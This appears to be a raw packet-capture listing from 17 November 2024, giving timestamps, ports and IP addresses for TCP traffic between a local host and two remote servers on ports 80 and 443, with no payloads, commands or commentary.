Nov 17, 2024 01:38:24.167965889 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.187544107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.187654972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.187691927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.187727928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.187764883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.187799931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.187841892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.187843084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.187853098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.187843084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.187843084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.187843084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.187890053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.187928915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.187946081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.187946081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.187946081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.187972069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.248059034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.248104095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.248141050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.248194933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.248286963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.278459072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.278515100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.278549910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.278557062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.278583050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.278614044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.278661013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.307971954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.308031082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.308079958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.308120012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.308219910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.308269024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.308305979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.308326960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.308342934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.308355093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.308401108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.309089899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.309127092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.309146881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.309160948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.309171915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.309210062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346148014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346199036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346261024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346297979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346332073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346328974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346328974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346381903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346415997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346415997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346419096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346441984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346451044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346466064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346489906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346496105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346527100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346548080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346560955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346576929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346596956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346611023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346641064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346666098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346671104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346685886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346709013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.346729040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.346759081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.406766891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.406816006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.406858921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.406872034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.406872034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.406894922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.406941891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.406941891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.429380894 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.429869890 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.429900885 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.430313110 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.430319071 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.438616991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.438671112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.438703060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.438707113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.438747883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.438747883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.466041088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.466115952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.466155052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.466234922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.466234922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.466234922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.466615915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.466679096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.466686010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.466718912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.466739893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.466753960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.466768980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.466809034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.467544079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.467577934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.467605114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.467613935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.467629910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.467654943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.504667044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.504715919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.504764080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.504765034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.504777908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.504817009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.504851103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.504851103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.504899025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.504899979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.504906893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.504940987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.504957914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.504977942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.504991055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.505012035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.505029917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.505048037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.505062103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.505085945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.505101919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.505119085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.505132914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.505197048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.563935995 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.564026117 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.564100981 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.566718102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.566760063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.566793919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.566931963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.566931963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.567145109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.583550930 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.583551884 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.583574057 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.583587885 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.595510960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.595558882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.595593929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.595628023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.595717907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.624794006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.624850035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.624870062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.624891996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.624901056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.624936104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.624943972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.624978065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.624989033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.625029087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.625076056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.625108004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.625124931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.625144005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.625149965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.625195026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.625988960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.626019001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.626040936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.626065969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.626092911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.626142979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.626147985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.626199961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.636569977 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.636619091 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.636699915 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.636892080 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.636902094 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.662940025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.662986994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663052082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663083076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663080931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663080931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663141966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663155079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663155079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663177967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663207054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663212061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663249969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663260937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663260937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663285971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663300991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663342953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663346052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663382053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663389921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663438082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.663496017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.663543940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.727993011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.728034973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.728060961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.728070974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.728091955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.728113890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.753974915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.754009962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.754044056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.754045010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.754081011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.754081011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.754601002 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.762619019 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.762650967 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.766212940 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.766221046 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.782790899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.782824039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.782860041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.782896042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.782977104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.782977104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.782977104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.783399105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.783432961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.783452034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.783467054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.783478975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.783509970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.784040928 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.784580946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.784615993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.784647942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.784646988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.784692049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.784692049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.794245005 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.794265985 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.801961899 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.801969051 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.821266890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821306944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821345091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821381092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821392059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.821392059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.821393013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.821436882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821436882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.821474075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821482897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.821511030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821520090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.821549892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821556091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.821594000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.821697950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821732044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821743965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.821765900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.821777105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.821808100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.824291945 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.836306095 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.836359978 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.844738960 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.844748974 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.888087034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.888124943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.888159037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.888178110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.888228893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.888231039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.888231039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.888259888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.888282061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.888303995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.888317108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.888345957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.888366938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.888392925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.895894051 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.900943041 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.901020050 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.901561975 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.901576042 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.912285089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.912318945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.912352085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.912357092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.912398100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.912398100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.936631918 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.936862946 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.936920881 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.936980009 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.936989069 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.936997890 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.937001944 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.940866947 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.940920115 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.940985918 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.941292048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.941324949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.941363096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.941361904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.941395998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.941404104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.941417933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.941469908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.941474915 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.941504955 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.941706896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.941759109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.941767931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.941804886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.941813946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.941854954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.941867113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.941914082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.942748070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.942778111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.942812920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.942856073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.942950010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.942998886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.943006039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.943043947 CET	49714	80	192.168.2.6	185.215.113.206
